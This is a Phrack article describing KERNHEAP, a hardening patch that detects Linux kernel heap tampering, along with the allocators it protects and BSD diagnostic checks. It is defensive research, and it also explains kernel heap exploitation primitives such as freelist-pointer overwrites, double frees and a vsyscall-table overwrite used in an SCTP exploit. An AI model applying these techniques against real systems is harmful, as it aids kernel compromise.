  esteve .. for the talks, knowledge and the arm/wince reversing tips
  wzzx .. for the motivators, feedback and luls
  lia .. my gf which supported me all those nightly hacking hours :)
  ..
```

Certainly...

Thanks to all the people who managed to read the whole text and also to the rest for being part of that ecosystem named 'underground' and computer security which bring us lot of funny hours.

There is still lot of work to be done, and ideas or contributions are always welcome. Feel free to send me comments.

--pancake

--------[EOF

==Phrack Inc.==

Volume 0x0d, Issue 0x42, Phile #0x0F of 0x11

```
|=-----------------------------------------------------------------------=|
|=--------------=[ Linux Kernel Heap Tampering Detection ]=--------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ Larry H. <larry@subreption.com> ]=----------------=|
|=-----------------------------------------------------------------------=|
```

------[Index

------[1. History and background of the Linux kernel heap allocators

Before discussing what is KERNHEAP, its internals and design, we will have a glance at the background and history of Linux kernel heap allocators.

In 1994, Jeff Bonwick from Sun Microsystems presented the SunOS 5.4 kernel heap allocator at USENIX Summer [1]. This allocator produced higher performance results thanks to its use of caches to hold invariable state information about the objects, and reduced fragmentation significantly, grouping similar objects together in caches. When memory was under stress, the allocator could check the caches for unused objects and let the system reclaim the memory (that is, shrinking the caches on demand).

We will refer to these units composing the caches as "slabs". A slab comprises contiguous pages of memory. Each page in the slab holds chunks (objects or buffers) of the same size. This minimizes internal fragmentation, since a slab will only contain same-sized chunks, and only the 'trailing' or free space in the page will be wasted, until it is required for a new allocation. The following diagram shows the layout of Bonwick's slab allocator:

```
    +-------+
    | CACHE |
    +-------+    +---------+
    | CACHE |----|  EMPTY  |
    +-------+    +---------+    +------+      +------+
                 | PARTIAL |----| SLAB |------| PAGE |    (objects)
                 +---------+    +------+      +------+    +-------+
                 |  FULL   |      ...             |-------| CHUNK |
                 +---------+                              +-------+
                                                          | CHUNK |
                                                          +-------+
                                                          | CHUNK |
                                                          +-------+
                                                             ...
```

These caches operated in a LIFO manner: when an allocation was requested for a given size, the allocator would seek for the first available free object in the appropriate slab. This saved the cost of page allocation and creation of the object altogether.

> "A slab consists of one or more pages of virtually contiguous
> memory carved up into equal-size chunks, with a reference count
> indicating how many of those chunks have been allocated."
> Page 5, 3.2 Slabs. [1]

Each slab was managed with a kmem_slab structure, which contained its reference count, freelist of chunks and linkage to the associated kmem_cache. Each chunk had a header defined as the kmem_bufctl (chunks are commonly referred to as buffers in the paper and implementation), which contained the freelist linkage, address to the buffer and a pointer to the slab it belongs to. The following diagram shows the layout of a slab:

```
                       .-------------------.
                       | SLAB (kmem_slab)   |
                       `-------+--+--------'
                              /    \
                        +----+---+--+-----+
                        | bufctl | bufctl |
                        +-.-'----+.-'-----+
                      _.-'     .-'
                 +-.-'------.-'-----------------+
                 |        |        | ':>=jJ6XKNM|
                 | buffer | buffer | Unused XQNM|
                 |        |        | ':>=jJ6XKNM|
                 +------------------------------+
                 [            Page (s)          ]
```

For chunk sizes smaller than 1/8 of a page (ex. 512 bytes for x86), the meta-data of the slab is contained within the page, at the very end. The rest of space is then divided in equally sized chunks. Because all buffers have the same size, only linkage information is required, allowing the rest of values to be computed at runtime, saving space. The freelist pointer is stored at the end of the chunk. Bonwick states that this due to end of data structures being less active than the beginning, and permitting debugging to work even when an use-after-free situation has occurred, overwriting data in the buffer, relying on the freelist pointer being intact. In deliberate attack scenarios this is obviously a flawed assumption. An additional word was reserved too to hold a pointer to state information used by objects initialized through a constructor.

For larger allocations, the meta-data resides out of the page.

The freelist management was simple: each cache maintained a circular doubly-linked list sorted to put the empty slabs (all buffers allocated) first, the partial slabs (free and allocated buffers) and finally the full slabs (reference counter set to zero, all buffers free). The cache freelist pointer points to the first non-empty slab, and each slab then contains its own freelist. Bonwick chose this approach to simplify the memory reclaiming process.

The process of reclaiming memory started at the original kmem_cache_free() function, which verified the reference counter. If its value was zero (all buffers free), it moved the full slab to the tail of the freelist with the rest of full slabs. Section 4 explains the intrinsic details of hardware cache side effects and optimization. It is an interesting read due to the hardware used at the time the paper was written. In order to optimize cache utilization and bus balance, Bonwick devised 'slab coloring'. Slab coloring is simple: when a slab is created, the buffer address starts at a different offset (referred to as the color) from the slab base (since a slab is an allocated page or pages, this is always aligned to page size).

It is interesting to note that Bonwick already studied different approaches to detect kernel heap corruption, and implemented them in the SunOS 5.4 kernel, possibly predating every other kernel in terms of heap corruption detection). Furthermore, Bonwick noted the performance impact of these features was minimal.

> "Programming errors that corrupt the kernel heap - such as modifying freed memory, freeing a buffer twice, freeing an uninitialized pointer, or writing beyond the end of a buffer â\200\224 are often difficult to debug. Fortunately, a thoroughly instrumented ker- nel memory allocator can detect many of these problems."
> page 10, 6. Debugging features. [1]

The audit mode enabled storage of the user of every allocation (an equivalent of the Linux feature that will be briefly described in the allocator subsections) and provided these traces when corruption was detected.

Invalid free pointers were detected using a hash lookup in the kmem_cache_free() function. Once an object was freed, and after the destructor was called, it filled the space with 0xdeadbeef. Once this object was being allocated again, the pattern would be verified to see that no modifications occurred (that is, detection of use-after-free conditions, or write-after-free more specifically). Allocated objects were filled with 0xbaddcafe, which marked it as uninitialized.

Redzone checking was also implemented to detect overwrites past the end of an object, adding a guard value at that position. This was verified upon free.

Finally, a simple but possibly effective approach to detect memory leaks used the timestamps from the audit log to find allocations which had been online for a suspiciously long time. In modern times, this could be implemented using a kernel thread. SunOS did it from userland via /dev/kmem, which would be unacceptable in security terms.

For more information about the concepts of slab allocation, refer to Bonwick's paper at [1] provides an in-depth overview of the theory and implementation.

---[1.1 SLAB

The SLAB allocator in Linux (mm/slab.c) was written by Mark Hemment in 1996-1997, and further improved through the years by Manfred Spraul and others. The design follows closely that presented by Bonwick for his Solaris allocator. It was first integrated in the 2.2 series. This subsection will avoid describing more theory than the strictly necessary, but those interested on a more in-depth overview of SLAB can refer to "Understanding the Linux Virtual Memory Manager" by Mel Gorman, and its eighth chapter "Slab Allocator" [X].

The caches are defined as a kmem_cache structure, comprised of (most commonly) page sized slabs, containing initialized objects. Each cache holds its own GFP flags, the order of pages per slab (2^n), the number of objects (chunks) per slab, coloring offsets and range, a pointer to a constructor function, a printable name and linkage to other caches. Optionally, if enabled, it can define a set of fields to hold statistics an debugging related information.

Each kmem_cache has an array of kmem_list3 structures, which contain the information about partial, full and free slab lists:

```
    struct kmem_list3 {
        struct list_head slabs_partial;
        struct list_head slabs_full;
        struct list_head slabs_free;
        unsigned long free_objects;
        unsigned int free_limit;
        unsigned int colour_next;
        ...
        unsigned long next_reap;
        int free_touched;
    };
```

These structures are initialized with kmem_list3_init(), setting all the reference counters to zero and preparing the list3 to be linked to its respective cache nodelists list for the proper NUMA node. This can be found in cpuup_prepare() and kmem_cache_init().

The "reaping" or draining of the cache free lists is done with the drain_freelist() function, which returns the total number of slabs released, initiated via cache_reap(). A slab is released using slab_destroy(), and allocated with the cache_grow() function for a given NUMA node, flags and cache.

The cache contains the doubly-linked lists for the partial, full and free lists, and a free object count in free_objects.

A slab is defined with the following structure:

```
    struct slab {
        struct list_head list;      /* linkage/pointer to freelist */
        unsigned long colouroff;    /* color / offset */
        void *s_mem;                        /* start address of first object */
        unsigned int inuse;                 /* num of objs active in slab */
        kmem_bufctl_t free;         /* first free chunk (or none) */
        unsigned short nodeid;      /* NUMA node id  for nodelists */
    };
```

The list member points to the freelist the slab belongs to: partial, full or empty. The s_mem is used to calculate the address to a specific object with the color offset. Free holds the list of objects. The cache of the slab is tracked in the page structure.

The functions used to retrieve the cache a potential object belongs to is virt_to_cache(), which itself relies on page_get_cache() on a page structure pointer. It checks that the Slab page flag is set, and takes the lru.next pointer of the head page (to be compatible with compound pages, this is no different for normal pages). The cache is set with page_set_cache(). The behavior to assign pages to a slab and cache can be seen in slab_map_pages().

The internal function used for cache shrinking is __cache_shrink(), called from kmem_cache_shrink() and during cache destruction. SLAB is clearly poor at the scalability side: on NUMA systems with a large number of nodes, substantial time will be spent on walking the nodelists, drain each freelist, and so forth. In the process, it is most likely that some of those nodes won't be under memory pressure.

slab management data is stored inside the slab itself when the size is under 1/8 of PAGE_SIZE (512 bytes for x86, same as Bonwick's allocator). This is done by alloc_slabmgmt(), which either stores the management structure within the slab, or allocates space for it from the kmalloc caches (slabp_cache within the kmem_cache structure, assigned with kmem_find_general_cachep() given the slab size). Again, this is reflected in slab_destroy() which takes care of freeing the off-slab management structure when applicable.

The interesting security impact of this logic in managing control structures is that slabs with their meta-data stored off-slab, in one of the general kmalloc caches, will be exposed to potential abuse (ex. in a slab overflow scenario in some adjacent object, the freelist pointer could be overwritten to leverage a write4-primitive during unlinking). This is one of the loopholes which KERNHEAP, as described in this paper, will close or at very least do everything feasible to deter reliable exploitation.

Since the basic technical aspects of the SLAB allocator are now covered, the reader can refer to mm/slab.c in any current kernel release for further information.

---[1.2 SLOB

Released in November 2005, it was developed since 2003 by Matt Mackall for use in embedded systems due to its smaller memory footprint. It lacks the complexity of all other allocators.

The granularity of the SLOB allocator supports objects as little as 2 bytes in size, though this is subject to architecture-dependent restrictions (alignment, etc). The author notes that this will normally be 4 bytes for 32-bit architectures, and 8 bytes on 64-bit.

The chunks (referred as blocks in his comments at mm/slob.c) are referenced from a singly-linked list within each page. His approach to reduce fragmentation is to place all objects within three distinctive lists: under 256 bytes, under 1024 bytes and then any other objects of size greater than 1024 bytes.

The allocation algorithm is a classic next-fit, returning the first slab containing enough chunks to hold the object. Released objects are re-introduced into the freelist in address order.

The kmalloc and kfree layer (that is, the public API exposed from SLOB) places a 4 byte header in objects within page size, or uses the lower level page allocator directly if greater in size to allocate compound pages. In such cases, it stores the size in the page structure (in page->private). This poses a problem when detecting the size of an allocated object, since essentially the slob_page and page structures are the same: it's an union and the values of the structure members overlap. Size is enforced to match, but using the wrong place to store a custom value means a corrupted page state.

Before put_page() or free_pages(), SLOB clears the Slob bit, resets the mapcount atomically and sets the mapping to NULL, then the page is released back to the low-level page allocator. This prevents the overlapping fields from leading to the aforementioned corrupted state situation. This hack allows both SLOB and the page allocator meta-data to coexist, allowing a lower memory footprint and overhead.

---[1.3 SLUB aka The Unqueued Allocator

The default allocator in several GNU/Linux distributions at the moment, including Ubuntu and Fedora. It was developed by Christopher Lameter and merged into the -mm tree in early 2007.

> "SLUB is a slab allocator that minimizes cache line usage instead of managing queues of cached objects (SLAB approach). Per cpu caching is realized using slabs of objects instead of queues of objects. SLUB can use memory efficiently and has enhanced diagnostics." CONFIG_SLUB documentation, Linux kernel.

The SLUB allocator was the first introducing merging, the concept of grouping slabs of similar properties together, reducing the number of caches present in the system and internal fragmentation.

This, however, has detrimental security side effects which are explained in section 3.1. Fortunately even without a patched kernel, merging can be disabled on runtime.

The debugging facilities are far more flexible than those in SLAB. They can be enabled on runtime using a boot command line option, and per-cache.

DMA caches are created on demand, or not-created at all if support isn't required.

Another important change is the lack of SLAB's per-node partial lists. SLUB has a single partial list, which prevents partially free-allocated slabs from being scattered around, reducing internal fragmentation in such cases, since otherwise those node local lists would only be filled when allocations happen in that particular node.

Its cache reaping has better performance than SLAB's, especially on SMP systems, where it scales better. It does not require walking the lists every time a slab is to be pushed into the partial list. For non-SMP systems it doesn't use reaping at all.

Meta-data is stored using the page structure, instead of withing the beginning of each slab, allowing better data alignment and again, this reduces internal fragmentation since objects can be packed tightly together without leaving unused trailing space in the page(s). Memory requirements to hold control structures is much lower than SLAB's, as Lameter explains:

> "SLAB Object queues exist per node, per CPU. The alien cache queue even has a queue array that contain a queue for each processor on each node. For very large systems the number of queues and the number of objects that may be caught in those queues grows exponentially. On our systems with 1k nodes / processors we have several gigabytes just tied up for storing references to objects for those queues This does not include the objects that could be on those queues."

To sum it up in a single paragraph: SLUB is a clever allocator which is designed for modern systems, to scale well, work reliably in SMP environments and reduce memory footprint of control and meta-data structures and internal/external fragmentation. This makes SLUB the best current target for KERNHEAP development.

---[1.4 SLQB

The SLQB allocator was developed by Nick Piggin to provide better scalability and avoid fragmentation as much as possible. It makes a great deal of an effort to avoid allocation of compound pages, which is optimal when memory starts running low. Overall, it is a per-CPU allocator.

The structures used to define the caches are slightly different, and it shows that the allocator has been to designed from ground zero to scale on high-end systems. It tries to optimize remote freeing situations (when an object is freed in a different node/CPU than it was allocated at). This is relevant to NUMA environments, mostly. Objects more likely to be subjected to this situation are long-lived ones, on systems with large numbers of processors.

It defines a slqb_page structure which "overloads" the lower level page structure, in the same fashion as SLOB does. Instead of an unused padding, it introduces kmem_cache_list ad freelist pointers.

For each lookaside cache, each CPU has a LIFO list of the objects local to that node (used for local allocation and freeing), a free and partial pages lists, a queue for objects being freed remotely and a queue of already free objects that come from other CPUs remote free queues. Locking is minimal, but sufficient to control cross-CPU access to these queues.

Some of the debugging facilities include tracking the user of the allocated object (storing the caller address, cpu, pid and the timestamp). This track structure is stored within the allocated object space, which makes it subject to partial or full overwrites, thus unsuitable for security purposes like similar facilities in other allocators (SLAB and SLUB, since SLOB is impaired for debugging).

Back on SLQB-specific changes, the use of a kmem_cache_cpu structure per CPU can be observed. An article at LWN.net by Jonathan Corbet in December 2008, provides a summary about the significance of this structure:

> "Within that per-CPU structure one will find a number of lists of objects. One of those (freelist) contains a list of available objects; when a request is made to allocate an object, the free list will be consulted first. When objects are freed, they are returned to this list. Since this list is part of a per-CPU data structure, objects normally remain on the same processor, minimizing cache line bouncing. More importantly, the allocation decisions are all done per-CPU, with no bad cache behavior and no locking required beyond the disabling of interrupts. The free list is managed as a stack, so allocation requests will return the most recently freed objects; again, this approach is taken in an attempt to optimize memory cache behavior." [5]

In order to couple with memory stress situations, the freelists can be flushed to return unused partial objects back to the page allocator when necessary. This works by moving the object to the remote freelist (rlist) from the CPU-local freelist, and keep a reference in the remote_free list.

The SLQB allocator is well described in depth in the aforementioned article and the source code comments. Feel free to refer to these sources for more in-depth information about its design and implementation. The original RFC and patch can be found at http://lkml.org/lkml/2008/12/11/417

---[1.5 The future

As architectures and computing platforms evolve, so will the allocators in the Linux kernel. The current development process doesn't contribute to a more stable, smaller set of options, and it will be inevitable to see new allocators introduced into the kernel mainline, possibly specialized for certain environments.

In the short term, SLUB will remain the default, and there seems to be an intention to remove SLOB. It is unclear if SLBQ will see widely spread deployment.

Newly developed allocators will require careful assessment, since KERNHEAP is tied to certain assumptions about their internals. For instance, we depend on the ability to track object sizes properly, and it remains untested for some obscure architectures, NUMA systems and so forth. Even a simple allocator like SLOB posed a challenge to implement safety checks, since the internals are greatly convoluted. Thus, it's uncertain if future ones will require a redesign of the concepts composing KERNHEAP.

------[2. Introduction: What is KERNHEAP?

As of April 2009, no operating system has implemented any form of hardening in its kernel heap management interfaces. Attacks against the SLAB allocator in Linux have been documented and made available to the public as early as 2005, and used to develop highly reliable exploits to abuse different kernel vulnerabilities involving heap allocated buffers. The first public exploit making use of kmalloc() exploitation techniques was the MCAST_MSFILTER exploit by twiz [10].

In January 2009, an obscure, non advertised advisory surfaced about a buffer overflow in the SCTP implementation in the Linux kernel, which could be abused remotely, provided that a SCTP based service was listening on the target host. More specifically, the issue was located in the code which processes the stream numbers contained in FORWARD-TSN chunks.

During a SCTP association, a client sends an INIT chunk specifying a number of inbound and outbound streams, which causes the kernel in the server to allocate space for them via kmalloc(). After the association is made effective (involving the exchange of INIT-ACK, COOKIE and COOKIE-ECHO chunks), the attacker can send a FORWARD-TSN chunk with more streams than those specified initially in the INIT chunk, leading to the overflow condition which can be used to overwrite adjacent heap objects with attacker controlled data. The vulnerability itself had certain quirks and requirements which made it a good candidate for a complex exploit, unlikely to be available to the general public, thus restricted to more technically adept circles on kernel exploitation. Nonetheless, reliable exploits for this issue were developed and successfully used in different scenarios (including all major distributions, such as Red Hat with SELinux enabled, and Ubuntu with AppArmor).

At some point, Brad Spengler expressed interest on a potential protection against this vulnerability class, and asked the author what kind of measures could be taken to prevent new kernel-land heap related bugs from being exploited. Shortly afterwards, KERNHEAP was born.

After development started, a fully remote exploit against the SCTP flaw surfaced, developed by sgrakkyu [15]. In private discussions with few individuals, a technique for executing a successful attack remotely was proposed: overwrite a syscall pointer to an attacker controlled location (like a hook) to safely execute our payload out of the interrupt context. This is exactly what sgrakkyu implemented for x86_64, using the vsyscall table, which bypasses CONFIG_DEBUG_RODATA (read-only .rodata) restrictions altogether. His exploit exposed not only the flawed nature of the vulnerability classification process of several organizations, the hypocritical and unethical handling of security flaws of the Linux kernel developers, but also the futility of SELinux and other security models against kernel vulnerabilities.

In order to prevent and detect exploitation of this class of security flaws in the kernel, a new set of protections had to be designed and implemented: KERNHEAP.

KERNHEAP encompasses different concepts to prevent and detect heap overflows in the Linux kernel, as well as other well known heap related vulnerabilities, namely double frees, partial overwrites, etc.

These concepts have been implemented introducing modifications into the different allocators, as well as common interfaces, not only preventing generic forms of memory corruption but also hardening specific areas of the kernel which have been used or could be potentially used to leverage attacks corrupting the heap. For instance, the IPC subsystem, the copy_to_user() and copy_from_user() APIs and others.

This is still ongoing research and the Linux kernel is an ever evolving project which poses significant challenges. The inclusion of new allocators will always pose a risk for new issues to surface, requiring these protections to be adapted, or new ones developed for them.

------[3. Integrity assurance for kernel heap allocators

---[3.1 Meta-data protection against full and partial overwrites

As of the current (yet ever changing) upstream design of the current kernel allocators (SLUB, SLAB, SLOB, future SLQB, etc.), we assume:

1. A set of caches exist which hold dynamically allocated slabs, composed of one of more physically contiguous pages, containing same size chunks.

2. These are initialized by default or created explicitly, always with a known size. For example, multiple default caches exist to hold slabs of common sizes which are a multiple of two (32, 64, 128, 256 and so forth).

3. These caches grow or shrink in size as required by the allocator.

4. At the end of a kmem cache life, it must be destroyed and its slabs released. The linked list of slabs is implicitly trusted in this context.

5. The caches can be allocated contiguously, or adjacent to an actual chain of slabs from another cache. Because the current kmem_cache structure holds potentially harmful information (including a pointer to the constructor of the cache), this could be leveraged in an attack to subvert the execution flow.

6. The debugging facilities of these allocators provide a merely informational value with their error detection mechanisms, which are also inherently insecure. They are not enabled by default and have a extremely high performance impact (accounting up to 50 to 70% slowdown). In addition, they leak information which could be invaluable for a local attacker (ex. fixed known values).

We are facing multiple issues in this scenario. First, the kernel developers expect the third-party to handle situations like a cache being destroyed while an object is being allocated. Albeit highly unusual, such circumstances (like {6}) can arise provided the right conditions are present.

In order to prevent {5} from being abused, we are left with two realistic possibilities to deter a potential attack: randomization of the allocator routines (see ASLR from the PaX documentation in [7] for the concept) or introduce a guard (known in modern times as a 'cookie') which contains information to validate the integrity of the kmem_cache structure.

Thus, a decision was made to introduce a guard which works in 'cascade':

```
    +--------------+
    | global guard |------------------+
    +--------------| kmem_cache guard |------------+
                   +------------------| slab guard | ...
                                      +------------+
```

The idea is simple: break down every potential path of abuse and add integrity information to each lower level structure. By deploying a check which relies in all the upper level guards, we can detect corruption of the data at any stage. In addition, this makes the safety checks more resilient against information leaks, since an attacker will be forced to access and read a wider range of values than one single cookie. Such data could be out of range to the context of the execution path being abused.

The global guard is initialized at the kernheap_init() function, called from init/main.c during kernel start. In order to gather entropy for its value, we need to initialize the random32 PRNG earlier than in a default, upstream kernel. On x86, this is done with the rdtsc xor'd with the jiffies value, and then seeded multiple times during different stages of the kernel initialization, ensuring we have a decent amount of entropy to avoid an easily predictable result.

Unfortunately, an architecture-independent method to seed the PRNG hasn't been devised yet. Right now this is specific to platforms with a working get_cycles() implementation (otherwise it falls back to a more insecure seeding using different counters), though it is intended to support all architectures where PaX is currently supported.

The slab and kmem_cache structures are defined in mm/slab.c and mm/slub.c for the SLAB and SLUB allocators, respectively. The kernel developers have chosen to make their type information static to those files, and not available in the mm/slab.h header file. Since the available allocators have generally different internals, they only export a common API (even though few functions remain as no-op, for example in SLOB).

A guard field has been added at the start of the kmem_cache structure, and other structures might be modified to include a similar field (depending on the allocator). The approach is to add a guard anywhere where it can provide balanced performance (including memory footprint) and security results.

In order to calculate the final checksum used in each kmem_cache and their slabs, a high performance, yet collision resistant hash function was required. This instantly left options such as the CRC family, FNV, etc. out, since they are inefficient for our purposes. Therefore, Murmur2 was chosen [9]. It's an exceptionally fast, yet simple algorithm created by Austin Appleby, currently used by libmemcached and other software.

Custom optimized versions were developed to calculate hashes for the slab and cache structures, taking advantage of the fact that only a relatively small set of word values need to be hashed.

The coverage of the guard checks is obviously limited to the meta-data, but yields reliable protection for all objects of 1/8 page size and any adjacent ones, during allocation and release operations. The copy_from_user() and copy_to_user() functions have been modified to include a slab and cache integrity check as well, which is orthogonal to the boundary enforcement modifications explained in another section of this paper.

The redzone approach used by the SLAB/SLUB/SLQB allocators used a fixed known value to detect certain scenarios (explained in the next subsection). The values are 64-bit long:

```
    #define RED_INACTIVE    0x09F911029D74E35BULL
    #define RED_ACTIVE      0xD84156C5635688C0ULL
```

This is clearly suitable for debugging purposes, but largely inefficient for security. An immediate improvement would be to generate these values on runtime, but then it is still possible to avoid writing over them and still modify the meta-data. This is exactly what is being prevented by using a checksum guard, which depends on a runtime generated cookie (at boot time). The examples below show an overwrite of an object in the kmalloc-64 cache:

```
    slab error in verify_redzone_free(): cache 'size-64': memory outside
    object was overwritten
    Pid: 6643, comm: insmod Not tainted 2.6.29.2-grsec #1
    Call Trace:
     [<c0889a81>] __slab_error+0x1a/0x1c
     [<c088aee9>] cache_free_debugcheck+0x137/0x1f5
     [<c088ba14>] kfree+0x9d/0xd2
     [<c0802f22>] syscall_call+0x7/0xb
    df271338: redzone 1:0xd84156c5635688c0, redzone 2:0x4141414141414141.


    Slab corruption: size-64 start=df271398, len=64
    Redzone: 0x4141414141414141/0x9f911029d74e35b.
    Last user: [<c08d1da5>](free_rb_tree_fname+0x38/0x6f)
    000: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    010: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    020: 41 41 41 41 41 41 41 41 6b 6b 6b 6b 6b 6b 6b 6b
    Prev obj: start=df271340, len=64

    Redzone: 0xd84156c5635688c0/0xd84156c5635688c0.
    Last user: [<c08d1e55>](ext3_htree_store_dirent+0x34/0x124)
    000: 48 8e 78 08 3b 49 86 3d a8 1f 27 df e0 10 27 df
    010: a8 14 27 df 00 00 00 00 62 d3 03 00 0c 01 75 64
    Next obj: start=df2713f0, len=64

    Redzone: 0x9f911029d74e35b/0x9f911029d74e35b.
    Last user: [<c08d1da5>](free_rb_tree_fname+0x38/0x6f)
    000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
    010: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
```

The trail of 0x6B bytes can be observed in the output above. This is the SLAB_POISON feature. Poisoning is the approach that will be described in the next subsection. It's basically overwriting the object contents with a known value to detect modifications post-release or uninitialized usage. The values are defined (like the redzone ones) at include/linux/poison.h:

```
    #define POISON_INUSE    0x5a
    #define POISON_FREE     0x6b
    #define POISON_END      0xa5
```

KERNHEAP performs validation of the cache guards at allocation and release related functions. This allows detection of corruption in the chain of guards and results in a system halt and a stack dump.

The safety checks are triggered from kfree() and kmem_cache_free(), kmem_cache_destroy() and other places. Additional checkpoints are being considered, since taking a wrong approach could lead to TOCTOU issues, again depending on the allocator. In SLUB, merging is disabled to avoid the potentially detrimental effects (to security) of this feature. This might kill one of the most attractive points of SLUB, but merging comes at the cost of letting objects be neighbors to other objects which would have been placed elsewhere out of reach, allowing overflow conditions to produce likely exploitable conditions. Even with guard checks in place, this is still a scenario to be avoided.

One additional change, first introduced by PaX, is to change the address of the ZERO_SIZE_PTR. In mainline kernel, this address points to 0x00000010. An address reachable in userland is clearly a bad idea in security terms, and PaX wisely solves this by setting it to 0xfffffc00, and modifying the ZERO_OR_NULL_PTR macro. This protects against a situation in which kmalloc is called with a zero size (for example due to an integer overflow in a length parameter) and the pointer is used to read or write information from or to userland.

---[3.2 Detection of arbitrary free pointers and freelist corruption

In the history of heap related memory corruption vulnerabilities, a more obscure class of flaws has been long time known, albeit less publicized: arbitrary pointer and double free issues.

The idea is simple: a programming mistake leads to an exploitable condition in which the state of the heap allocator can be made inconsistent when an already freed object is being released again, or an arbitrary pointer is passed to the free function. This is a strictly allocator internals-dependent scenario, but generally the goal is to control a function pointer (for example, a constructor/destructor function used for object initialization, which is later called) or a write-n primitive (a single byte, four bytes and so forth).

In practice, these vulnerabilities can pose a true challenge for exploitation, since thorough knowledge of the allocator and state of the heap is required. Manipulating the freelist (also known as freelist in the kernel) might cause the state of the heap to be unstable post-exploitation and thwart cleanup efforts or graceful returns. In addition, another thread might try to access it or perform operations (such as an allocation) which yields a page fault.

In an environment with 2.6.29.2 (grsecurity patch applied, full PaX feature set enabled except for KERNEXEC, RANDKSTACK and UDEREF) and the SLAB allocator, the following scenarios could be observed:

1. An object is allocated and shortly afterwards, the object is released via kfree(). Another allocation follows, and a pointer referencing to the previous allocation is passed to kfree(), therefore the newly allocated object is released instead due to the LIFO nature of the allocator.

```
void  *a = kmalloc(64, GFP_KERNEL);
foo_t *b = (foo_t *) a;

/* ... */
kfree(a);
a = kmalloc(64, GFP_KERNEL);
/* ... */
kfree(b);
```

2. An object is allocated, and two successive calls to kfree() take place with no allocation in-between.

```
void  *a = kmalloc(64, GFP_KERNEL);
foo_t *b = (foo_t *) a;

kfree(a);
kfree(b);
```

In both cases we are releasing an object twice, but the state of the allocator changes slightly. Also, there could be more than just a single allocation in-between (for example, if this condition existed within filesystem or network stack code) leading to less predictable results. The more obvious result of the first scenario is corruption of the freelist, and a potential information leak or arbitrary access to memory in the second (for instance, if an attacker could force a new allocation before the incorrectly released object is used, he could control the information stored there).

The following output can be observed in a system using the SLAB allocator with is debugging facilities enabled:

```
    slab error in verify_redzone_free(): cache `size-64': double free detected
    Pid: 4078, comm: insmod Not tainted 2.6.29.2-grsec #1
    Call Trace:
      [<c0889a81>] __slab_error+0x1a/0x1c
      [<c088aee9>] cache_free_debugcheck+0x137/0x1f5
      [<c088ba14>] kfree+0x9d/0xd2
      [<c0802f22>] syscall_call+0x7/0xb
    df2e42e0: redzone 1:0x9f911029d74e35b, redzone 2:0x9f911029d74e35b.
```

The debugging facilities of SLAB and SLUB provide a redzone-based approach to detect the first scenario, but introduce a performance impact while being useless security-wise, since the system won't halt and the state of the allocator will be left unstable. Therefore, their value is only informational and useful for debugging purposes, not as a security measure. The redzone values are also static.

The other approach taken by the debugging facilities is poisoning, as mentioned in the previous subsection. An object is 'poisoned' with a value, which can be checked at different places to detect if the object is being used uninitialized or post-release. This rudimentary but effective method is implemented upstream in a manner which makes it inefficient for security purposes.

Currently, upstream poisoning is clearly oriented to debugging. It writes a single-byte pattern in the whole object space, marking the end with a known value. This incurs in a significant performance impact.

KERNHEAP performs the following safety checks at the time of this writing:

1. During cache destruction:

    a) The guard value is verified.

    b) The entire cache is walked, verifying the freelists for potential corruption. Reference counters, guards, validity of pointers and other structures are checked. If any mismatch is found, a system halt ensues.

    c) The pointer to the cache itself is changed to ZERO_SIZE_PTR. This should not affect any well behaving (that is, not broken) kernel code.

2. After successful kfree, a word value is written to the memory and pointer location is changed to ZERO_SIZE_PTR. This will trigger a distinctive page fault if the pointer is accessed again somewhere. Currently this operation could be invasive for drivers or code with dubious coding practices.

3. During allocation, if the word value at the start of the to-be-returned object doesn't match our post-free value, a system halt ensues.

The object-level guard values (equivalent to the redzoning) are calculated on runtime. This deters bypassing of the checks via fake objects, resulting from a slab overflow scenario. It does introduce a low performance impact on setup and verification, minimized by the use of inline functions, instead of external definitions like those used for some of the more general cache checks.

The effectiveness of the reference counter checks is orthogonal to the deployment of PaX's REFCOUNT, which protects many object reference counters against overflows (including SLAB/SLUB).

Safe unlinking is enforced in all LIST_HEAD based linked lists, which obviously includes the partial/empty/full lists for SLAB and several other structures (including the freelists) in other allocators. If a corrupted entry is being unlinked, a system halt is forced. The values used for list pointer poisoning have been changed to point non-userland-reachable addresses (this change has been taken from PaX).

The use-after-free and double-free detection mechanisms in KERNHEAP are still under development, and it's very likely that substantial design changes will occur after the release of this paper.

---[3.3 Overview of NetBSD and OpenBSD kernel heap safety checks

At the moment KERNHEAP exclusively covers the Linux kernel, but it is interesting to observe the approaches taken by other projects to detect kernel heap integrity issues. In this section we will briefly analyze the NetBSD and OpenBSD kernels, which are largely the same code base in regards of kernel malloc implementation and diagnostic checks.

Both currently implement rudimentary but effective measures to detect use-after-free and double-free scenarios, albeit these are only enabled as part of the DIAGNOSTIC and DEBUG configurations.

The following source code is taken from NetBSD 4.0 and should be almost identical to OpenBSD. Their approach to detect use-after-free relies on copying a known 32-bit value (WEIRD_ADDR, from kern/kern_malloc.c):

```
/*
 * The WEIRD_ADDR is used as known text to copy into free objects so
 * that modifications after frees can be detected.
 */
#define WEIRD_ADDR      ((uint32_t) 0xdeadbeef)
...

void *malloc(unsigned long size, struct malloc_type *ksp, int flags)
...
{
...
#ifdef DIAGNOSTIC
                /*
                 * Copy in known text to detect modification
                 * after freeing.
                 */
                end = (uint32_t *)&cp[copysize];
                for (lp = (uint32_t *)cp; lp < end; lp++)
                        *lp = WEIRD_ADDR;
                freep->type = M_FREE;
#endif /* DIAGNOSTIC */
```

The following checks are the counterparts in free(), which call panic() when the checks fail, causing a system halt (this obviously has a better security benefit than just the information approach taken by Linux's SLAB diagnostics):

```
#ifdef DIAGNOSTIC
    ...
    if (__predict_false(freep->spare0 == WEIRD_ADDR)) {
        for (cp = kbp->kb_next; cp;
            cp = ((struct freelist *)cp)->next) {
            if (addr != cp)
                continue;
            printf("multiply freed item %p\n", addr);
            panic("free: duplicated free");
        }
    }
    ...
    copysize = size < MAX_COPY ? size : MAX_COPY;
    end = (int32_t *)&((caddr_t)addr)[copysize];
    for (lp = (int32_t *)addr; lp < end; lp++)
        *lp = WEIRD_ADDR;
    freep->type = ksp;
#endif /* DIAGNOSTIC */
```

Once the object is released, the 32-bit value is copied, along the type information to detect the potential origin of the problem. This should be enough to catch basic forms of freelist corruption.

